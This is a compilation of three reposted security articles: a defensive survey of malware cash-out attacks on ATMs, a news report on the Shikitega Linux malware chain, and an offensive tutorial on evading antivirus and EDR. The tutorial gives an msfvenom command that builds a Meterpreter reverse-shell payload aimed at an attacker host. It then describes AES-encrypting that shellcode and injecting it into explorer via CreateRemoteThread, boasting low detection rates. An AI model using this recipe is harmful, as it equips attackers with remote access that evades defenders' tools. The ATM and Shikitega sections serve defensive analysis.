Malware-based attacks on ATMs – A summary

Malware-based attacks on ATMs – A summary

Original text by Alexander Poth

Introduction

Today we will take a first look at malware-based attacks on ATMs in general, while future articles will go into more detail on the individual subtopics.

ATMs have been robbed by criminal gangs around the world for decades. A successful approach since ~ 20 years is the use of highly flammable gas, which is fed into the ATM safe and ignited during a robbery. For an attacker, this is an inexpensive way to get the cash, but it also leads to great publicity and thus risk of being caught by security authorities. In addition, more and more vending machines are being equipped with systems that ink the money as soon as the machine is physically breached. 

Since the beginning of the 2010s, there has been a trend for more and more criminal gangs to switch to non-violent methods without explosives. We are talking about so-called physical malware attacks. Here, malicious software is brought onto the PC inside the ATM, for example, via a USB stick. This malware-based attack usually results in all cash inside the safe being ejected via the regular dispensing mechanism (cash-out attack). A successful attack would effectively put the malware in full command over the ATM thereby rendering it almost impossible to stop them.

Another aspect that cannot be ignored is that an infected ATM often enables attacks on other devices or services within the network. For example, for research and testing purposes, we were able to develop a malware that attacked all ATMs within the network from an infected device (initial ATM). The result was simultaneous cash withdrawal from all ATMs within the shared network. It was also interesting here that other devices such as a Raspberry Pi connected to the same network could achieve the same results as well.

Even though during the Covid pandemic in 2020 such malware-based attacks on ATMs decreased, a clear increase has been visible since the beginning of 2022. Malware to attack specific types of devices can be purchased today for about 1000USD within the darknet.

To protect against such attacks, it is necessary to prevent malware from being installed and executed. Through years of research and experience in real projects, we have been able to help ATM manufacturers and banks protect their devices from such attacks.

ATM Internals

Generally, an ATM consists of two components:

Safe

  • Includes:
    • Cash dispenser
    • Cassettes containing banknotes
  • Strongly protected by heavy locks and armored walls

Cabinet

  • Includes the computer connected to other devices:
    • Card reader
    • Pin pad
    • Touch screen
    • Network components
    • etc.
  • Mostly weakly protected from physical attack.
    • Unarmored: Door and walls are often made of thin plastic or sheet metal.Poor quality locks: locks are often no better than those on private mailboxes, which can be opened in seconds with a lockpick.
    • Often only one key for several ATMs is used.

The computer inside the cabinet usually runs on the Windows operating system, which in turn runs the application for legitimate use of the ATM. A user / bank customer should not be able to break out of this application (e.g. via the touchscreen) to access the underlying system. For this purpose, Windows generally runs in the so-called Kiosk mode, which limits the input options only to the necessary user functions within the application.

Input values within the user application via the touchscreen or pin pad, for example, are in turn processed by the software and then transmitted to other devices such as the cash dispenser via corresponding commands. This communication between the user application and internal devices takes place via the XFS standard (Extensions for Financial Services). This standard provides an interface (API) for the Windows Hardware Manager via which all applications can access it.

When the user initiates a transaction such as a cash withdrawal, the bank’s processing center is also contacted, which validates the transaction and ultimately transmits the confirmation for withdrawal. The connection between the ATM and the processing center is generally made via a cable, but occasionally also wirelessly (WiFi or GSM).

Vulnerabilities to ATM malware

In general, we classify ATM vulnerabilities regarding malware attacks into three categories. The combination of vulnerabilities from these categories allows an attacker to dispense all cash or attack other systems on the same network in many cases.

Insufficient physical security

The first step for malware-based attacks is usually to open the cabinet in order to interact with the integrated computer via a plugged-in keyboard or special USB stick. Here, we came into contact with recurring security vulnerabilities in various assessments:

  • The lock of the cabinet is insecure and can be opened with a lockpick within seconds.
  • The housing (door and walls) are made of thin plastic or sheet metal and can be destroyed with minor effort.
  • Locks from different ATMs can be opened with the same key. If an attacker obtains such a master key, they can often open all the ATMs in different branches.
  • The keys are not secure against copying. If an attacker obtains a key, it can be copied as often as desired.
  • Lack of security for e.g. USB interfaces. If an attacker succeeds in opening the cabinet, they will in almost all cases find unprotected (open) USB interfaces that allow interaction via keyboard.
Computer inside the cabinet with open USB ports

Insufficient configuration of the system and peripheral devices

It is often the case that the XFS standard for communication between OS and peripherals is configured very insecurely. There is often no authentication at all between the peripherals and the OS. An attacker with access to the computer could execute malware to communicate with the cash dispenser, and thus cash-out all available money. In summary, we found the following recurring security flaws in the system and device configurations:

  • Insufficient or even missing authentication between USB peripherals and the OS which would allow so called ATM black-box attacks.
  • Lack of communication encryption between OS and peripherals. An attacker can thus often read sensitive card data and transactions of the user.
  • Lack of hard disk encryption. An attacker can extract and read any hard disk content. In addition to various software that can be misused to further develop malware, we were also able to extract unencrypted videos and pictures of customers that were taken via the camera integrated in the ATM.
  • Inadequate protection of the kiosk mode. If an attacker manages to open the cabinet and plug in a keyboard, they can often break out of the banking application using special keyboard shortcuts and thus access the underlying Windows system. However, in some cases this is also possible via the touch screen of the machine without having to open the cabinet.
  • Boot from external storage media. ATMs are occasionally configured to boot from an attached storage medium such as a USB stick when they are restarted. If an attacker can boot into an alternative system in this way, hard disk contents can be completely extracted or even communicate directly with peripherals such as the cash dispenser.
  • Inadequate or missing application control configuration. Today’s malware or public enumeration tools are often executed via Powershell scripts or exe files. In many of our assessments, the case was that the execution of such software was insufficiently blocked or not blocked at all.
  • Weak or missing AV solutions. The installation and execution of tools and malware is not or often insufficiently detected because weak AV software are used for protection or these are not up to date.

ATM allows breaking out of the banking application using a connected keyboard, exposing that the current user has full administrative access.

Insufficient network security

An attacker with access to the ATM’s network interface (e.g. Ethernet) can attack other systems or services within the network. In one of our scenarios, it was even possible to dispense cash from all ATMs within the network. In general, such scenarios are based on the following vulnerabilities:

  • Lack of or insufficient network access control. An attacker who has been able to connect to the ATM network via Ethernet often has full authorization to communicate with other systems on the same network. In many cases, infiltration of other devices or even the Active Directory is possible.
  • Unencrypted communication to the backend. An attacker in a man-in-the-middle position between the processing center and the ATM can read sensitive transaction data, but also manipulate it to issue malformed funds.
  • Lack of or insufficient authentication to the exposed ATM network service. Often, own (spoofed) backend commands can be sent to the exposed ATM service to make it cash out.
Example – Bypassing outdated NAC (Network Access Control) with public tools

Attack Scenarios

Due to the large number of possible vulnerabilities, individual malware-based attack scenarios often arise. The following figure shows general attack scenarios, which are also performed in our assessments.

Recommendations

In general, it is difficult to make all-encompassing recommendations for securing ATMs. Even in our current assessments, we are increasingly confronted with new and very individual security vulnerabilities. However, we can make general recommendations for securing ATMs against malware attacks, as some vulnerabilities are present on a regular basis:

  • The computer should be in the safe. Securing the computer in the safe would probably be the best possible protection against malware-based attacks. Unfortunately, we could not detect such a protection in any of our analyses so far.
  • If it is not possible to place the computer in the safe:
    • The cabinet housing and door should also be made of solid material. It should not be possible to open the lock of the cabinet using a lockpick. Generally, security locks or even digital locks with proper auditing possibilities should be used here. The cabinet of each ATM should only be able to be opened with an individual key.
    • Network devices such as switches should not be placed outside the ATM.
  • All communication between ATM and backend should be encrypted according to current standards.
  • All transactions between the ATM and the backend should be mutually authenticated for example using TLS mutual authentication.
  • All unused services exposed by the ATM should be turned off.
  • The firewall between the ATM and backend should be configured to allow remote access only to the service that is needed. All network services that are not needed should be turned off.
  • Remote access should follow strict password policies or even better: key-based authentication mechanisms.
  • Any communication between the OS and peripherals such as the cash dispenser should be encrypted. Here the ATM vendor can be consulted since it is usually a simple configuration that can be enabled. 
  • The OS as well as used applications should be updated regularly including hotfixes.
  • It should not be possible to connect any peripheral (e.g. keyboard) to the computer and use it. One possibility would be to use local OS policies or third-party software to allow only explicit devices. However, one should be careful with such whitelisting, as the device IDs themselves can be spoofed. 
  • The execution of scripts or other software should be limited as much as possible and be restricted to only what is necessary. One possibility would be the use of Windows Applocker.
  • Any software that is not needed (e.g. software used for development) should be removed.
  • Hard disks should be fully encrypted.
  • Access to the BIOS should be protected by e.g. setting a strong password.
  • A boot from the hard disk of the ATM should be forced. It should not be possible to access the boot menu without authentication. In addition make sure to enable measured boot.
  • AV solutions should be used and regularly updated. In general, we prefer the use of Windows Defender over third-party software.
  • Abnormal behavior or communication regarding network but also peripherals should be logged and alarms triggered.

Conclusion

Malware-based attacks that rely on physical access are becoming increasingly popular. Today, however, we can already see some security improvements in current assessments. However, our experience shows that the improvement within the last years is still insufficient. Many protections could still be circumvented to exploit initial vulnerabilities. This is usually not because manufacturers and banks deliberately avoid security precautions, but because the whole environment and its processes often do not allow simple security upgrades. Some examples are that to ensure proper network access control (NAC), all switches within all branches would have to be replaced, technical staff still needs an interface (e.g. USB) to perform administrative tasks on the ATM, etc.

In general, it turns out that criminal hacker gangs are always one step ahead and find ways to bypass current security measurements.

New Linux malware evades detection using multi-stage deployment

New Linux malware evades detection using multi-stage deployment

original text by Bill Toulas

A new stealthy Linux malware known as Shikitega has been discovered infecting computers and IoT devices with additional payloads.

The malware exploits vulnerabilities to elevate its privileges, adds persistence on the host via crontab, and eventually launches a cryptocurrency miner on infected devices.

Shikitega is quite stealthy, managing to evade anti-virus detection using a polymorphic encoder that makes static, signature-based detection impossible.

An intricate infection chain

While the initial infection method is not known at this time, researchers at AT&T who discovered Shikitega say the malware uses a multi-step infection chain where each layer delivers only a few hundred bytes, activating a simple module and then moving to the next one.

«Shiketega malware is delivered in a sophisticated way, it uses a polymorphic encoder, and it gradually delivers its payload where each step reveals only part of the total payload.,» explains AT&T’s report.

The infection begins with a 370 bytes ELF file, which is the dropper containing encoded shellcode.

The ELF file that initiates the infection chain (AT&T)

The encoding is performed using the polymorphic XOS additive feedback encoder ‘Shikata Ga Nai,’ previously analyzed by Mandiant.

“Using the encoder, the malware runs through several decode loops, where one loop decodes the next layer until the final shellcode payload is decoded and executed,” continues the report.

“The encoder stud is generated based on dynamic instruction substitution and dynamic block ordering. In addition, registers are selected dynamically.”

Shikata Ga Nai decryption loops (AT&T)

After the decryption is completed, the shellcode is executed to contact the malware’s command and control servers (C2) and receive additional shellcode (commands) stored and run directly from memory.

One of these commands downloads and executes ‘Mettle,’ a small and portable Metasploit Meterpreter payload that gives the attackers further remote control and code execution options on the host.

Downloaded shellcode fetching Mettle (AT&T)

Mettle fetches yet a smaller ELF file, which exploits CVE-2021-4034 (aka PwnKit) and CVE-2021-3493 to elevate privileges and download the final stage payload, a cryptocurrency miner, as root.

Exploiting PwnKit to elevate privileges to root (AT&T)

Persistence for the crypto miner is achieved by downloading five shell scripts that add four cronjobs, two for the root user and two for the current user.

The five shell scripts and their functions (AT&T)

The crontabs are an effective persistence mechanism, so all downloaded files are wiped to reduce the likelihood of the malware being discovered.

The crypto miner is XMRig version 6.17.0, focusing on mining the anonymity-focused and hard-to-trace Monero.


Shikitega infection chain overview
 (AT&T)

To further reduce the chances of raising alarms on network security products, the threat actors behind Shikitega use legitimate cloud hosting services to host their command and control infrastructure.

This choice costs more money and puts the operators at risk of being traced and identified by law enforcement but offers better stealthiness in the compromised systems.

The AT&T team reports a sharp rise in Linux malware this year, advising system admins to apply the available security updates, use EDR on all endpoints, and take regular backups of most important data.

For now, Shikitega appears focused on Monero mining, but the threat actors may decide that other, more potent payloads can be more profitable in the long run.

Shell Code Injector with AES Encryption — EDR Bypass

Shell Code Injector with AES Encryption - EDR Bypass

original text by San3ncrypt3d

I have been getting a lot of messages from people asking about AV evasion. I won’t give away the source code for a fully undetectable payload, but I thought I’d share a basic implementation of a shell code runner that will take AES encrypted shell code and decrypt it and inject into a process such as explorer! Before we proceed, the technique used to inject shell code is well known to AVs and you will get flagged, the purpose of this writeup is to show how AES can be implemented, and you can use same/similar techniques to bypass EDR solution with more sophisticated techniques

What do you need to follow along?

• Metasploit

• Visual Studio

• Windows Machine for testing payload

The first thing to do is to create a shell code using msfvenom:


msfvenom -p windows/x64/meterpreter/reverse_http LHOST=IP LPORT=443 -f csharp

Now download the project for encrypting the shellcode with AES encryption: Click Here

Make sure to change the shellcode to your shellcode here:

* Note: if you change the key/IV make sure to update them on the decryption part as well ! **

Once you compile and run the program, you will get the encrypted shell code:

Now we will need to create a program that will essentially take this encrypted shell code, and decrypt It and inject into a process’s virtual address space.

Here is the program: AESInjector

I will briefly explain what is going on:

• “buf” is an array with the encrypted shell code

• “Dshell” uses the AESDecrypt function and stores the decrypted shell code

• Now we use Win32 Api’s for allocating shell code in memory, copy the shell code and execute it with VirtualAllocEx and WriteProcessMemory and CreateRemoteThread:

Now you change the “buf” array with the encrypted shell we acquired from previous program and compile the program and run it

Of course, make sure to start a lister on Metasploit:

At the time of writing this project, the payload is only detected by 3/26 Av engines:

I am a bit surprised that only 3 AV’s caught it, but you can enhance this project into making it completely undetectable:

Credits: some of the codes are taken from other open source projects

Reference:
https://www.c-sharpcorner.com/article/aes-encryption-in-c-sharp/

https://docs.microsoft.com/en-us/cpp/dotnet/how-to-call-native-dlls-from-managed-code-using-pinvoke?view=msvc-170